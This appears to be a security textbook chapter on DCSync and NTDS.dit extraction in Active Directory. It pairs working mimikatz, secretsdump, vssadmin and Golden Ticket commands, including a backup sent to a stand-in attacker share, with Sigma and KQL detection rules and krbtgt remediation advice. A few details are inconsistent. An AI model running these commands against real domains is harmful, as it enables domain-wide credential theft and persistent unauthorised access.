Chapter 183

DCSync and NTDS.dit Extraction

DCSync and NTDS.dit extraction are the two paths to extracting every password hash in an Active Directory domain. DCSync uses legitimate replication RPCs — no need to touch disk on the DC. NTDS.dit reads the database file directly via shadow copy. Both require DA-equivalent privileges, both produce every user's NTLM hash including krbtgt, and both generate specific Windows security events that every SOC should alert on.

Scenario

You have Domain Admin via a Kerberoasting chain. The objective before cleanup is to exfiltrate every NTLM hash in the domain, enabling Golden Ticket creation and persistent re-entry even after your initial access path is remediated. DCSync lets you do this remotely from a workstation — you never log into the DC interactively. The replication RPC looks like normal DC-to-DC sync traffic except for the source IP, which is a workstation, not another DC.

DCSync Protocol Mechanics

DCSync: impersonate a domain controller replication partner Normal DC replication (DRSUAPI / MS-DRSR): DC-A ──GetNCChanges(partition, objects)──► DC-B DC-A ◄──ReplicaSync (hashes, attributes)── DC-B DCSync attack — attacker calls GetNCChanges directly: Attacker (DA rights) ──GetNCChanges(krbtgt, Administrator)──► DC Attacker ◄──ReplicaSync(NTLM hash, Kerberos keys)────────────DC Required rights on the domain object (DC=corp,DC=local): DS-Replication-Get-Changes (GUID: 1131f6aa...) DS-Replication-Get-Changes-All (GUID: 1131f6ad...) DS-Replication-Get-Changes-In-Filtered-Set (GUID: 89e95b76...) [optional] These rights are held by: Domain Admins group Enterprise Admins group Domain Controllers group (for legitimate sync) Any account explicitly granted them (check with BloodHound GetChangesAll edge) Protocol: DRSUAPI RPC over TCP to port 135 + dynamic high port No log on DC showing data accessed — only the replication event is logged.

DCSync Attack

# mimikatz DCSync — requests all user hashes from the DC via replication:
# lsadump::dcsync /domain:corp.local /all /csv
# lsadump::dcsync /domain:corp.local /user:krbtgt  (single account)
# lsadump::dcsync /domain:corp.local /user:Administrator

# Impacket secretsdump.py (from Linux, no domain join required):
# secretsdump.py 'corp.local/admin:Password1@dc01.corp.local'
# secretsdump.py 'corp.local/admin@dc01.corp.local' -hashes :NTLM_HASH
# Output: user:RID:LM_HASH:NT_HASH (same format as /etc/passwd + shadow)

# Impacket output example:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693f16c4e879effa2ba1c3dc5acf5f:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d6e2168c66e0e21c4f32e9e8c5f2d12:::

# PowerShell via DSInternals module (also no external binary needed):
Get-ADReplAccount -All -Server dc01.corp.local |
    Format-Custom -View HashcatNT | Out-File hashes.txt

# C# implementation using the DRSUAPI COM interface:
# Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /all"'
# Or use SharpKatz: SharpKatz.exe --Command dcsync --User krbtgt --Domain corp.local

NTDS.dit via VSS

# NTDS.dit is the Active Directory database: C:\Windows\NTDS\ntds.dit
# It is locked by the AD DS service while the DC is running.
# Method: Volume Shadow Copy Service (VSS) — read from a shadow copy.
# Requires local admin on the DC (or backup operator rights).

# Create a shadow copy and access NTDS.dit from it:
vssadmin create shadow /for=C:
# Note the shadow copy device path: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit" C:\Temp\ntds.dit
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\Temp\SYSTEM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY" C:\Temp\SECURITY

vssadmin delete shadows /shadow={SHADOW_COPY_ID} /quiet

# Also: ntdsutil "ifm" method — built-in DC backup tool creates NTDS.dit copy:
# ntdsutil "activate instance ntds" "ifm" "create full C:\IFM" quit quit
# Creates ntds.dit + SYSTEM hive in C:\IFM — intended for promoting new DCs.

# Stealthy copy via reg.exe backup (backup operator rights, not DA):
# wbadmin start backup -backuptarget:\\ATTACKER\share -include:C: -quiet
# (captures NTDS.dit in the backup)

Parsing NTDS.dit Offline

# Parse NTDS.dit + SYSTEM hive to extract all hashes:
# Requires SYSTEM hive for the SYSKEY (bootkey) — decrypts the PEK (Password Encryption Key).

# Impacket secretsdump (local mode):
secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL

# Output format (same as DCSync):
# username:RID:LM_HASH:NT_HASH:::

# DSInternals (PowerShell):
$bootKey = Get-BootKey -SystemHivePath SYSTEM
Get-ADDBAccount -All -DBPath ntds.dit -BootKey $bootKey |
    Format-Custom -View HashcatNT

# Extract Kerberos keys (for Golden Ticket):
# secretsdump.py outputs krbtgt's AES256 and AES128 Kerberos keys:
# krbtgt:aes256-cts-hmac-sha1-96:XXXXXX
# krbtgt:aes128-cts-hmac-sha1-96:XXXXXX
# krbtgt:des-cbc-md5:XXXXXX

# With krbtgt NT hash + domain SID + domain name → forge Golden Ticket:
# mimikatz: kerberos::golden /user:Administrator /domain:corp.local
#           /sid:S-1-5-21-XXXX /krbtgt:KRBTGT_HASH /ptt

Domain-Level Persistence

TechniqueRequiresPersistenceSurvives password reset?
Golden Ticketkrbtgt NT hashForge any TGT offlineUntil krbtgt rotated TWICE
Silver TicketService acct hashForge ST for specific serviceUntil service acct reset
Skeleton KeyDC local access (LSASS patch)Master password works for all usersUntil DC reboots or lsass patched
DSRM accountDA on DCLocal admin always-on account on every DCIndefinitely unless DSRM password reset
DCSync rights grantDA (WriteDACL on domain)Any compromised account can DCSync foreverUntil rights revoked
AdminSDHolder ACEDA (WriteDACL on AdminSDHolder)Permission propagates to all protected accountsUntil ACE removed + SDProp runs

Detection Engineering

title: DCSync — Replication Request from Non-DC Source
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    Properties|contains:
      - 'Replicating Directory Changes'
      - '1131f6aa'   # DS-Replication-Get-Changes GUID
      - '1131f6ad'   # DS-Replication-Get-Changes-All GUID
  filter_dcs:
    SubjectUserName|endswith: '$'  # DCs authenticate as machine accounts
  condition: selection AND NOT filter_dcs
level: critical
tags: [attack.credential_access, T1003.006]

title: NTDS.dit Access via ntdsutil or vssadmin on Domain Controller
logsource:
  product: windows
  category: process_creation
detection:
  selection_ntds:
    Image|endswith: '\ntdsutil.exe'
    CommandLine|contains: 'ifm'
  selection_vss:
    Image|endswith: '\vssadmin.exe'
    CommandLine|contains: 'create shadow'
  condition: selection_ntds OR selection_vss
level: high

-- MDE KQL: DCSync detection — replication GUID accessed by workstation
IdentityDirectoryEvents
| where ActionType == "LDAP query"
| where AdditionalFields has_any ("1131f6aa", "1131f6ad", "GetChangesAll")
| where AccountDomain !endswith "$"   // exclude machine accounts
| project Timestamp, AccountUpn, DeviceName, Query

-- Golden Ticket: TGT with unusually long lifetime or RC4 on AES-enforced domain
SecurityEvent
| where EventID == 4769
| extend ticketLifetime = datetime_diff(
    "hour",
    todatetime(TicketExpirationTime),
    todatetime(TicketCreationTime))
| where ticketLifetime > 10  // default max TGT lifetime is 10h
| project TimeGenerated, Account, ServiceName, TicketEncryptionType, ticketLifetime

Q&A

The krbtgt password needs to be reset twice to invalidate Golden Tickets — why twice, and what is the operational risk that causes organizations to delay this remediation after a confirmed compromise?

The double-reset requirement stems from how Kerberos ticket validation works with the krbtgt account's password history. The KDC (Domain Controller) validates TGTs by decrypting them with the krbtgt account's current NT hash. For backward compatibility and to prevent disruption during replication lag between multiple DCs, Windows also accepts decryption with the krbtgt account's previous password (stored in the password history). This means that after a single krbtgt password reset, a forged Golden Ticket encrypted with the old krbtgt hash is still accepted — it passes validation using the previous-password slot. A second reset within the replication convergence window removes the first reset's password from the previous-password slot, finally making all pre-reset Golden Tickets invalid.

Between the two resets, there must be a waiting period long enough for AD replication to converge across all Domain Controllers. In a large environment with multiple DCs across geographically distributed sites, replication can take 15-60 minutes. If you perform both resets back-to-back without waiting, you risk a DC that received the first reset but not the second — users authenticating to that DC with valid Kerberos tickets will suddenly have their TGTs rejected as the DC tries to validate them against a krbtgt key it doesn't yet have.

The operational risk is real and documented. The krbtgt reset invalidates all currently cached Kerberos TGTs across the entire domain. Every user's Kerberos session expires immediately on their next authentication. For large organizations with thousands of active sessions, this produces a wave of re-authentication requests that can temporarily overload the KDC and cause login slowness or failures for 15-30 minutes. Services with embedded Kerberos tickets (IIS app pools with Kerberos delegation, non-interactive service accounts) may fail until tickets are refreshed. Organizations often schedule the double-reset during a maintenance window and brief the help desk, which requires coordination and organizational will that can delay the remediation by days or weeks — during which the threat actor's Golden Ticket remains valid. The correct answer is: accept the disruption, do the reset during a scheduled maintenance window, but do not delay more than 24-48 hours after a confirmed DA compromise.